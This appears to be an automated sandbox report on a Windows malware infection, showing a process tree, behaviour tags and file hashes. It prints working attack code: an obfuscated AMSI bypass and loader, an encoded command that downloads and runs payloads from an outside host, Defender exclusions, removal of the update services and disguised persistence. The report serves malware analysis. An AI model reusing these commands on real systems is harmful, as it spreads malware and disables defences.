OW).SetImplementationFlags(''+'R'+'u'+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+'e'+'d'+'');$DiQryyjOSSi.DefineMethod('I'+'n'+''+'v'+''+[Char](111)+''+'k'+'e',''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+'c'+','+''+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+'i'+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+'w'+[Char](83)+''+[Char](108)+''+'o'+''+'t'+''+[Char](44)+''+'V'+'i'+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+'',$XwSydGzjln,$utdIpQotGudIOW).SetImplementationFlags('R'+'u'+''+[Char](110)+'ti'+[Char](109)+'e'+[Char](44)+'Ma'+'n'+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $DiQryyjOSSi.CreateType();}$ChutuCjQpSUYs=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+'t'+'e'+''+[Char](109)+''+'.'+''+[Char](100)+'l'+[Char](108)+'')}).GetType('Mi'+'c'+''+[Char](114)+''+[Char](111)+''+'s'+''+'o'+''+'f'+'t.'+[Char](87)+''+[Char](105)+'n'+'3'+''+[Char](50)+'.'+'U'+'n'+[Char](115)+''+[Char](97)+''+'f'+''+'e'+''+[Char](67)+''+[Char](104)+''+[Char](117)+''+'t'+''+[Char](117)+''+[Char](67)+''+[Char](106)+'Qp'+[Char](83)+''+[Char](85)+''+[Char](89)+''+'s'+'');$RKcOOuFfjCHmMr=$ChutuCjQpSUYs.GetMethod(''+[Char](82)+''+'K'+''+[Char](99)+''+[Char](79)+'O'+'u'+''+[Char](70)+''+[Char](102)+''+'j'+''+[Char](67)+''+[Char](72)+''+'m'+''+'M'+''+[Char](114)+'',[Reflection.BindingFlags]'P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+[Char](116)+''+'a'+''+[Char](116)+''+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$wjUodmUYQcPInwNxpHR=JDkDFrGLrapJ @([String])([IntPtr]);$uoQZUQMilllVokBxTOYjqN=JDkDFrGLrapJ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$cGGASBXSZIu=$ChutuCjQpSUYs.GetMethod(''+[Char](71)+'e'+'t'+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'Ha'+[Char](110)+''+'d'+''+'l'+'e').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+'r'+''+'n'+''+[Char](101)+''+[Char](108)+'32.dl'+'l'+'')));$LBByrNyqjnsQpH=$RKcOOuFfjCHmMr.Invoke($Null,@([Object]$cGGASBXSZIu,[Object](''+'L'+''+'o'+''+[Char](97)+''+[Char](100)+''+'L'+''+'i'+'b'+'r'+''+[Char](97)+''+[Char](114)+'y'+[Char](65)+'')));$eBNyJOEhgcipZodeB=$RKcOOuFfjCHmMr.Invoke($Null,@([Object]$cGGASBXSZIu,[Object]('V'+'i'+''+'r'+'t'+'u'+''+'a'+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+'t'+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$drkDLKy=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LBByrNyqjnsQpH,$wjUodmUYQcPInwNxpHR).Invoke(''+[Char](97)+'m'+[Char](115)+'i'+'.'+'d'+[Char](108)+'l');$rWVKfhWEJQQxuDQMN=$RKcOOuFfjCHmMr.Invoke($Null,@([Object]$drkDLKy,[Object]('A'+'m'+''+[Char](115)+''+[Char](105)+'S'+[Char](99)+'an'+'B'+''+[Char](117)+'f'+[Char](102)+''+'e'+''+'r'+'')));$tXKIsyiouN=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($eBNyJOEhgcipZodeB,$uoQZUQMilllVokBxTOYjqN).Invoke($rWVKfhWEJQQxuDQMN,[uint32]8,4,[ref]$tXKIsyiouN);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$rWVKfhWEJQQxuDQMN,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($eBNyJOEhgcipZodeB,$uoQZUQMilllVokBxTOYjqN).Invoke($rWVKfhWEJQQxuDQMN,[uint32]8,0x20,[ref]$tXKIsyiouN);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+'F'+''+[Char](84)+''+[Char](87)+''+[Char](65)+'R'+'E'+'').GetValue('d'+'i'+''+[Char](97)+''+'l'+''+[Char](101)+''+[Char](114)+''+[Char](115)+''+'t'+'a'+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3648
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1204
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1228
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1248
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1372
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1380
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2440
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1432
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1448
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1520
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1592
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1632
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1688
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1756
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s FontCache1⤵PID:1640
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1812
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1844
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1852
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1924
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1964
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2032
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:1708
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2088
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2300
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:2460
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2480
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2308
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2588
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2508
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2608
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2616
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1012
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C:\Users\Admin\AppData\Local\Temp\1d678410484e34165adb652f7e86a2b5cae5f58d.exe"C:\Users\Admin\AppData\Local\Temp\1d678410484e34165adb652f7e86a2b5cae5f58d.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:360 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:632 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4736 -
C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1040 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4664
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1040 -s 2926⤵
- Program crash
PID:220
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4268
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1260
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 360 -s 2603⤵
- Program crash
PID:3132
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4068
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4336 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:4944
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:536
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:4540
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:1140
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:3536
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:8
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:1032
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:1732
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:3148
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:688
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4828
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:764
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 360 -ip 3601⤵PID:1684
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 1040 -ip 10401⤵PID:3524
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
4KB
MD57b1fe6890101f73a0c9796d8d585b168
SHA156eb99ee341b880cf7a80ebc705371aea87b3743
SHA25693ea56ad38069dbc3d1ae192afd3f3dc8704e9298752f73729b95cf3298dcaca
SHA512fe73cccfadc916f613fbcc7a80ec82ae1228ea2aa28bba4515851e82463e76942ff3a3d6bcc78ea666a841d89220fb49b8fa52279985e88fe0aec6728f21aefa
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Filesize
53KB
MD5124edf3ad57549a6e475f3bc4e6cfe51
SHA180f5187eeebb4a304e9caa0ce66fcd78c113d634
SHA256638c51e173ca6b3469494a7e2e0b656021a761f77b4a83f3e430e82e7b9af675
SHA512b6c1a9051feeffad54ba1092fd799d34a9578368d7e66b31780fe478c1def0eb4094dce2879003f7389f2f9d86b94a3ef3975e78092a604597841c9b8db120ee
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Filesize
19KB
MD51605c4f42560e76f2528e72e7abb4b84
SHA17aed6ab063462c01feb6f8bdf3091919e3479a63
SHA256cbccdf557e08015c7a6f060da51501db8ae0e4e7240364f1e13d293d79ee95a6
SHA512180c96fc54d91a0028d959e238e24b1faabcf8fe6df50e831781f225d50da36aecbead4fdbd0ef59a7d3610ee6bb720902685015d756f1ff347bc572c7841786
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Filesize
1KB
MD59c5399b260d8be4b4f07477041c4b360
SHA1037222cf2b868ab35dbe98ec1888e109f1d9adbe
SHA256dad72d2563bb676f40f60203eb8fd83ba219f2f83cd2b9a103f5c569e1380092
SHA512b90917d94fcfecd148457a5fe99fd6a5fb41ff77675611ced8b24e59ad58dc9e47a749a3df13017a99f0a121a4c96d55b2c17180accfa05c80a941e1b3e065e3
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
477KB
MD53753f9966e5b4fdc87184c1749f2bd25
SHA169b76e86bfb4fcf4c0eb2f5fc8b71356e9f4e756
SHA2560f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
SHA5123283dfee96e0089873336f3c699604eb33d5c091cdf65a193d4f8e1850625823f62dc02d242290dfd10c10f127bfec26f55b6438fc9ab2c0dd5c9f7cb764e8b6
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Filesize
477KB
MD53753f9966e5b4fdc87184c1749f2bd25
SHA169b76e86bfb4fcf4c0eb2f5fc8b71356e9f4e756
SHA2560f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
SHA5123283dfee96e0089873336f3c699604eb33d5c091cdf65a193d4f8e1850625823f62dc02d242290dfd10c10f127bfec26f55b6438fc9ab2c0dd5c9f7cb764e8b6